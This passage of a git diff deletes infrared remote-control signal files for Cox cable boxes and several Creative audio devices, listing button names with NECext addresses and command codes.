00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: 1_TOUCH_REC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir deleted file mode 100644 index c022259bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir deleted file mode 100644 index 8efdfcf96..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: LOOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: FINE_UP(PLUS) -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: X_KEY_100 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: FINE_DOWN(MINUS) -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir deleted file mode 100644 index c44b193e6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: optical -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 0F 00 00 00 -# -name: rear_center -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 17 00 00 00 -# -name: coaxial -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 27 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 2F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 47 00 00 00 -# -name: dynamic_mode -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 4F 00 00 00 -# -name: analog -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 57 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 67 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 77 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 87 00 00 00 -# -name: center -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 97 00 00 00 -# -name: dolby_pl_ii -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A7 00 00 00 -# -name: ned_6 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: B7 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C7 00 00 00 -# -name: dolby_digital_ex -type: parsed -protocol: NECext -address: C1 44 00 00 -command: CF 00 00 00 -# -name: rear -type: parsed -protocol: NECext -address: C1 44 00 00 -command: E7 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: C1 44 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir deleted file mode 100644 index 60b4827c5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 08 00 00 00 -# -name: MOUSE -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 10 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 28 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 40 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 48 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 50 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 60 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 68 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 70 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 80 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 88 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 90 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: A0 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: A8 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: B0 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: C0 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: C8 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: D0 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: E0 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: E8 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir deleted file mode 100644 index f592209de..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 20 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: 70 00 00 00 -# -name: FAST_REVERSE -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: A0 00 00 00 -# -name: EAX -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: B0 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: E0 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 21 AC 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir deleted file mode 100644 index 62cae1c9b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 09 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 11 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 1E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 21 00 00 00 -# -name: EAX -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 31 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 3E 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 46 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 51 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 5E 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 6E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 71 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 76 00 00 00 -# -name: Step -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 7E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 81 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 86 00 00 00 -# -name: CMSS -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 8E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 91 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 9E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A1 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: AE 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: B1 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: C1 44 00 00 -command: BE 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C1 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C6 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: C1 44 00 00 -command: CE 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: D1 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: DE 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: E1 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: EE 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: F1 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: C1 44 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir deleted file mode 100644 index 011ce329b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 09 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 11 00 00 00 -# -name: X_KEY_3dMidi -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 19 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 1E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 21 00 00 00 -# -name: CMSS_Up -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 29 00 00 00 -# -name: EAX -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 31 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 3E 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 46 00 00 00 -# -name: X_KEY_4bit_Up -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 49 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 4E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 51 00 00 00 -# -name: X_KEY_3dMidi_Down -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 59 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 5E 00 00 00 -# -name: EAX_Up -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 69 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 6E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 71 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 76 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 81 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 86 00 00 00 -# -name: X_KEY_4bit -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 89 00 00 00 -# -name: CMSS -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 8E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 91 00 00 00 -# -name: X_KEY_3dMidi_Up -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 99 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 9E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A1 00 00 00 -# -name: CMSS_Down -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A9 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: C1 44 00 00 -command: AE 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: B1 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: C1 44 00 00 -command: BE 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C1 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C6 00 00 00 -# -name: X_KEY_4bit_Down -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C9 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: C1 44 00 00 -command: CE 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: D1 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: D6 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: DE 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: C1 44 00 00 -command: E1 00 00 00 -# -name: EAX_Down -type: parsed -protocol: NECext -address: C1 44 00 00 -command: E9 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: EE 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: F1 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: C1 44 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir deleted file mode 100644 index bd31cfa93..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 11 00 00 00 -# -name: x-fi_cmss+ -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 29 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 3E 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 46 00 00 00 -# -name: x-fi_crystal+ -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 49 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 4E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 5E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 71 00 00 00 -# -name: vol_off -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 76 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 81 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 86 00 00 00 -# -name: x-fi_crystal_on -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 89 00 00 00 -# -name: x-fi_cmss_on -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 8E 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 9E 00 00 00 -# -name: stop_eject -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A1 00 00 00 -# -name: x-fi_cmss- -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A9 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: B1 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C6 00 00 00 -# -name: x-fi_crystal- -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C9 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: C1 44 00 00 -command: CE 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: D6 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: DE 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: C1 44 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir deleted file mode 100644 index d3d4f8d5f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: s0 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 00 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 01 00 00 00 -# -name: s3 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 08 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 09 00 00 00 -# -name: sMenu -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 10 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 11 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 1E 00 00 00 -# -name: s6 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 1F 00 00 00 -# -name: s5 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 20 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 21 00 00 00 -# -name: sEax -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 30 00 00 00 -# -name: eax -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 31 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 3E 00 00 00 -# -name: sClose -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 3F 00 00 00 -# -name: sOptions -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 40 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 46 00 00 00 -# -name: sVol+ -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 47 00 00 00 -# -name: s4 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 50 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 51 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 5E 00 00 00 -# -name: sNext -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 5F 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 6E 00 00 00 -# -name: sDisplay -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 6F 00 00 00 -# -name: sReturn -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 70 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 71 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 76 00 00 00 -# -name: sMute -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 77 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 7E 00 00 00 -# -name: sStep -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 7F 00 00 00 -# -name: sOk -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 80 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 81 00 00 00 -# -name: s7 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 90 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 91 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 9E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 9F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A0 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A1 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: AE 00 00 00 -# -name: sRight -type: parsed -protocol: NECext -address: C1 44 00 00 -command: AF 00 00 00 -# -name: sDown -type: parsed -protocol: NECext -address: C1 44 00 00 -command: B0 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: B1 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: C1 44 00 00 -command: BE 00 00 00 -# -name: sSlow -type: parsed -protocol: NECext -address: C1 44 00 00 -command: BF 00 00 00 -# -name: s8 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C0 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C1 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C6 00 00 00 -# -name: sVol- -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C7 00 00 00 -# -name: s1 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: D0 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: D1 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: DE 00 00 00 -# -name: sUp -type: parsed -protocol: NECext -address: C1 44 00 00 -command: DF 00 00 00 -# -name: sLeft -type: parsed -protocol: NECext -address: C1 44 00 00 -command: E0 00 00 00 